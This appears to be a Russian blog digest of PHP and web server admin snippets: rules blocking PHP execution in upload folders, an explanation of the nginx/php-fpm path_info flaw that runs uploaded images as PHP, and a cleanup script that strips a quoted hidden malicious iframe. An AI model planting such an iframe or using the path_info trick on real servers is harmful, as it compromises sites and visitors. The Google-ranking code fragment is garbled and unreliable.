Запрет выполнения php в определённых директориях (nginx) или как защитить папки uploads в DLE(nginx)

Если ваш веб-сервер Apache, вы можете добавить следующие строки или файл .htaccess их уже имеет:

<Directory /website/attachments>
php_flag engine off
</Directory>


Чтобы отключить выполнение php в определённой директории на Nginx:
location /upload/ {
location ~ .*\.(php)?$
{
deny all;
}
}

Внимание: Если файл PHP находится в подкаталоге одного из этих каталогов, она все равно выполняет

Другой вариант запрета с перечислением каталогов и файлов:
location ~* ^/(upload|images)/.*\.(php|php5)$
{
deny all;
}


Если ваш веб-сервер lighthttpd вы можете сделать то же самое:

$HTTP["url"] =~ "^/(forumdata|templates|customavatars?)/" {
fastcgi.server = ()
}
Apache:
<Location "/forumdata">
php_admin_flag engine off
Options -ExecCGI
AddType text/plain .html .htm .shtml .php
</Location>

Уязвимость связки PHP+nginx





Background

Во всех HowTo по настройке связки nginx с php-fpm / php-cgi есть похожие строчки:

location ~ \.php$ {
 fastcgi_pass 127.0.0.1:9000;
 fastcgi_index index.php;
 fastcgi_param script_FILENAME /scripts$fastcgi_script_name;
 include fastcgi_params;

} 


Problem Description

Однако если попросить у сервера отдать example.com/1px.gif/test.php, то URI примет вид 1px.gif/test.php что подойдёт под location \.php$, а script_FILENAME станет равным /scripts/1px.gif/test.php.

Далее, если cgi.fix_pathinfo == 1 (по дефолту), то script_FILENAME станет равным /scripts/1px.gif, а PATH_INFO будет равен test.php

В итоге php интерпретатор обработает /scripts/1px.gif. То есть,


Читать дальше →

Установка eAccelerator на Debian 6.0.

Пришел к выводу поднять скорость выполнения PHP кода – на небольшом VPS. Рассмотрим одно из решений – кэширование результатов.

Для этого будем использовать eAccelerator.

Установка :

Забираем последнюю версию ( на момент написания статьи )
debian-1:/home/temp/PHP# wget http://bart.eaccelerator.net/source/0.9.6/eaccelerator-0.9.6.tar.bz2


Устанавливаем необходимые для работы программы ( если они у вас еще не стоят)

debian-1:/home/temp/PHP# apt-get install build-essential php5-dev


(Они тащат с собой множество зависимостей – не пугайтесь )
Читать дальше →

PHP: Пишем ошибки в файл

PHP
Все php ошибки нужно обязательно записывать в лог, и регулярно изучать его. Иначе есть шанс пропустить часть багов, которые появляются например перед редиректом и не выводятся на экран. По умолчанию, запись ошибок в файл отключена, но есть несколько способов это исправить:

Способ 1 — изменить php.ini:
log_errors = On
error_log = /var/log/php_errors.log

Способ 2 — добавить в .htaccess:
php_value log_errors "On"
php_value error_log /var/log/php_errors.log

Способ 3 — добавить в самое начало php скрипта:
ini_set('log_errors', 'On');
ini_set('error_log', '/var/log/php_errors.log');

PHP скрипт для удаление iframe вирусов

Скрипт тестировался на Joomla, но думаю подойдёт везде. Итак вот сам скрипт:

<?php
 
$virus_text = '<iframe src="http://zuo.podgorz.org/zuo/elen/index.php" width="0" height="0" frameborder="0"></iframe>';
$skip_files = array ('delvirus.php');
$del = false;
$dir = getcwd().'/';
$num_infected = 0;
 
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir, $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
 
function del_virus ($fdir, $ffile)
{
    $flag = false;
    $filename = $fdir.$ffile;
    echo $filename;
 
        $file=file($filename);
        foreach($file as $k=>$v)
        if (!stristr($v,$GLOBALS['virus_text']))
        $nfile[]=$v;
        else
        {
         if (!$flag) {
            $flag=true;
            if (in_array($ffile, $GLOBALS['skip_files']))
            echo " - skipped";
            else
            {
                echo " - infected";
                $GLOBALS['num_infected']++;
            }
         }
        }
        if ( $GLOBALS['del'] ) {
            $file=fopen($filename,"w");
            fwrite($file,implode($nfile,""));
            fclose($file);
        }
    echo "
";
};
 
dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );
 
echo "Num infected = $num_infected 
";
?>


Вот разъяснения:

$virus_text = ‘тут пишем скрипт который удалить надо’;

$del = false; меняем здесь на true если хотим сделать очистку от вируса.

$skip_files = array (‘delvirus.php’); – указываем файлы которые не нужно проверять

Топ сайтов в поисковике

Этот скрипт собирает данные о месте заданных сайтов в гугле.

Создаю массив запросов и массив сайтов, которые будем выделять из ответа гугла
$str_zapros_mas = array("","");
$sait_mas = array(«Массив сайтов „);
Устанавливаем глубину поиска в результатах ответа гугла
$max_str=5;
Посылаем гуглу все запросы из массива, при этом каждый запрос кодируем в урл
for($i_zap = 0; $i_zap<count($str_zapros_mas); zapros=“urlencode("$str_zapros_mas[$i_zap]");»></count($str_zapros_mas);>
Открываю страницы ответов на запросы, тут ньюанс, для первой странице гугла один вид строки запроса, а для пследующих — другой, учитываю это:

Читать дальше →

Автоматизация скачивания торрентов

Очень мне хотелось, чтобы новые серии любимых сериалов закачивались автоматически, а мне оставалось только их просмотреть =)

Ниже преведен пример реализации этой задачи, его можно модернизировать использую curl для авторизации на торренте либо использовать куки, у меня пока не получилось. Поэтому использую поиск по рсс ленте торрента, скачиваю торренты, и редактирую их, вставляю свой uid в торрент файл.

Для того чтобы авторизованно захадить и скачивать торрент файлы с трекеров, можно воспользоватся кукисами, тогда строка wget будет иметь вид
wget -nc --append-output=download_torrents.txt --load-cookies=cookies.txt --content-disposition host?id=654321&key=123456


Читать дальше →